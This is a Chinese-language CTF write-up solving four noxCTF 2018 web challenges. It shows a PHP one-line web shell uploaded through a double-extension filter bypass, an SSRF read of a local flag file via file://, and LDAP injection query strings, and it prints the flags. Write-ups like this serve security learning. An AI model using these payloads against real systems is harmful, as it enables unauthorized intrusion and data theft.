noxCTF2018 web解析
額~菜雞一枚,五題只做出四題,感覺學到了新知識,寫了下writeup。
Web
Reference
What is your reference again?
ofollow,noindex" target="_blank">http://chal.noxale.com:5000
開啟網頁,如下頁面
檢視原始碼,發現其中的 <script src="js/index.js"></script>
,點進去
嗯接著訪問下,發現新的頁面,抓包分析,添上頭 Referer: http://google.com
解碼得到 flag
最終答案: noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}
MyFileUploader
This is my new file uploader server. I bet you can't hack it!
是個上傳題,寫了個 shell.txt
,內容為<?php system($_GET[‘cmd’]); ?>,嘗試上傳
There is no .png/.jpg/.gif in that file name
,嘗試抓包改 Content-Type:image/png
,發現無果。
再改名稱為 filename="shell.png.txt"
,成功上傳,但是發現無法解析。
再改名稱為 filename="shell.png.php"
,上傳的路徑為 'uploads/shell.png'
,可見過濾到 .php
。
再改名稱為 filename="shell.png.php.php"
,成功解析。
執行命令, ls%20-la
,發現了個 7H3-FL4G-1S-H3r3
, root
許可權
再來一次命令: ls%207H3-FL4G-1S-H3r3
最終答案:
noxCTF{N3V3R_7RU57_07H3R5}
hiddenDOM
I decided to create a tool that searches for
hidden elements inside a web pages.
Few days ago someone told me that my website is not so /secure/...
Can you check it yourself ?
此題說來,不算難,類似 LCTF2017
的簽到題(別問我怎麼知道,那個時候連 LCTF2017
的簽到題都沒做出來,印象特深),但又添加了其他的知識點,添加了題目的腦洞性(趣味性)。先放出 LCTF2017
簽到題的wrtieup
en~就是這麼簡單。
開啟網頁,發現了一些可疑之處,可以檢視網頁原始碼部分,或者檢視控制檯。
其中js程式碼為以下,還給了個 <a href='/var/www/html/flag.txt' hidden>-_-</a>
var _0x3bc3=["x6Dx61x69x6Ex5Fx66x6Fx72x6D","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x6Ex70x75x74","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x6Ex61x6Dx65","x65x78x70x72x65x73x73x69x6Fx6E","x73x65x74x41x74x74x72x69x62x75x74x65","x74x79x70x65","x74x65x78x74","x70x6Cx61x63x65x68x6Fx6Cx64x65x72","x2Fx3Cx5Bx5Ex3Cx3Ex5Dx7Bx31x2Cx7Dx68x69x64x64x65x6Ex5Bx5Ex3Cx3Ex5Dx7Bx31x2Cx7Dx3Ex2F"];var _frss=document[_0x3bc3[1]](_0x3bc3[0]);var _xEger=document[_0x3bc3[3]](_0x3bc3[2]);_xEger[_0x3bc3[6]](_0x3bc3[4],_0x3bc3[5]);_xEger[_0x3bc3[6]](_0x3bc3[7],_0x3bc3[8]);_xEger[_0x3bc3[6]](_0x3bc3[9],_0x3bc3[10])
嘗試 16
進位制解碼下
var _frss = document['getElementById']('main_form'); var _xEger = document['createElement']('input'); _xEger['setAttribute']('name', 'expression'); _xEger['setAttribute']('type', 'text'); _xEger['setAttribute']('placeholder', '/<[^<>]{1,}hidden[^<>]{1,}>/')
em~,好像隱藏了什麼東西,算了,先控制檯除錯下
發現除錯 _xEger
的時候,有
<input name=”expression” type=”text” placeholder=”/<[^<>]{1,}hidden[^<>]{1,}>/”>
經過各種除錯,可以發現, expression
這個控制了回顯資料的完整性。
咯,我們測試一下,先提交 http://13.59.2.198:5588/index.php?target=http://13.59.2.198:5588
,發現是隱藏的
再提交 http://13.59.2.198:5588/index.php?target=http://13.59.2.198:5588&expression=/.*/
,發現成功顯示出所有原始碼。
好了,是不是有點奇怪得到這些,我們能幹嘛呢?其實這題還考察了關於 ssrf
相關的知識, file
、 http
、 ftp
的應用。是的,你猜的沒錯,前面原始碼提示的 <a href='/var/www/html/flag.txt' hidden>-_-</a>
,這個連結是打不開的。這裡額外分析下, ssrf
的相關知識點,一般需要通過一些協議比如: ftp://
、 ssh://
、 dict://
、 gopher://
、 file://
等獲取 shell
或者一些敏感資訊,此處非常這明顯, flag.txt
我們打不開,但是又給了目錄,所以通過 file
協議讀取成為解題的關鍵步驟
這裡我們用 file
協議去讀 flag
的目錄,構造 http://13.59.2.198:5588/index.php?target=file:///var/www/html/flag.txt
,發現是空的
通過上面的分析,我們再次構造,後面加上個 &expression=/.*/
,得到 flag
最終答案: noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/}
Dictionary of obscure sorrows
There are a lot of obscure sorrows in our world.
Your job is not to find those that are plain in sight;
You need to seek further, look deeper.
Find the word that can not be written.
The most obscure sorrow of them all.
這題,先說說感受吧。感覺、有點小難度,但是可以通過學習,得到題解,關鍵是這次是我第一次玩LDAP注入,這種注入,感覺國內 ctf
賽事,考察的不是很多。
開啟連結,呈現以下網頁。
手工 fuzz
一番,發現無果。御劍、 awvs
掃一番, awvs
倒是有一些線索,發現了 word.php
再仔細查看了下網頁的原始碼,發現下面也有這些,是不是大驚小怪了?
難道是 word.php
存在 sql
注入?測試一波無果,但是接下來的發現,讓我有了其他想法。
提示 Missing RDN inside ObjectClass(document)
,網上搜索一番
許多詞條都含有關鍵詞 LDAP
,搜尋一番,學習了下 LDAP基礎概念 (此處認真,仔細檢視,否則後面看不懂)。再搜尋一番 LDAP
的安全問題,其中查詢到 LDAP
注入(菜雞我第一次聽到),繼續搜尋資料,找到 LDAP ObjectClasses ,其中有
再回頭看看剛剛的
所以我們知道了 ObjectClass
是 document
,又因為屬於 document
的有 11
種
commonName description seeAlso l o ou documentTitle documentVersion documentAuthor documentLocation documentPublisher
測試一番發現, http://54.152.220.222/word.php?page=*)(|(no=*)
,回顯頁面如下
而 http://54.152.220.222/word.php?page=*)(|(seeAlso=*)
也是同樣的 Query returned empty
,接下來的剩下的幾種依次帶進去,發現只有 documentAuthor
、 description
是正常的回顯。
而我們又知道flag的格式是 noxCTF{}
。再通過網上搜索學習,學習了有關的 LDAP
注入的姿勢,這裡放出一道跟本題十分相似的 連結 ,其中有以下頁面
模仿構造 http://54.152.220.222/word.php?page=*)(|(description=noxCTF*)
,可以得到 flag
。
當然,也可以構造
http://54.152.220.222/word.php?page=*)(description=noxCTF*
,得到 flag
。
最終答案: noxCTF{K1NG_0F_LD4P}
此題相關資料連結:
Testing for LDAP Injection (OTG-INPVAL-006):
https://www.owasp.org/index.php/Testing_for_LDAP_Injection_(OTG-INPVAL-006)